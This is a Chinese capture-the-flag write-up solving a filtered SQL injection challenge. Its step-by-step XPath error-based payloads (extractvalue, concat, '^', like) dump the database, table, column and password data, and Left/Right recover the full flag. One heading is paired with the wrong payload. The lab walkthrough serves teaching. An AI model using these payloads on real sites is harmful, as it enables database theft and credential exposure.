打开网页,应该是这个sql注入的题
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114195751378-1351470595.png)
开始注入
使用万能密码试一下,回显了一句话,通过常规注入回显的都是这句话。其中union,select,order by等都被过滤了
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114195830316-1067324212.png)
之后发现这道题要使用xpath报错注入,函数注入
这里我们利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114195857782-1489043430.png)
最后我们使用“ ^ ”符来连接这个函数
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
爆数据库
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114195938650-958233687.png)
爆出数据库名geek,然后接着爆表
爆表
?username=admin&password=admin‘^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=’geek‘))))%23
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114200029672-2039591770.png)
结果回显这个页面,说明“=”也被过滤了,这里我们使用like来代替"=",得到表名
爆列名
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114200045926-2053446509.png)
得三个列名,分别是“ID username password”,
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114200101443-151721353.png)
爆数据
接下来爆数据,得到flag,但是这里发现flag不全
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(geek.H4rDsq1))))%23
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114200116092-1097972666.png)
Left Right
先使用Left把左边30个字符爆出来
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Left(password,30))from(geek.H4rDsq1))))%23
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114200150181-1280433450.png)
再使用Right把右边30个字符爆出来
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(Right(password,30))from(geek.H4rDsq1))))%23
![](https://img2020.cnblogs.com/blog/2180269/202111/2180269-20211114200201496-980883516.png)
连接flag即可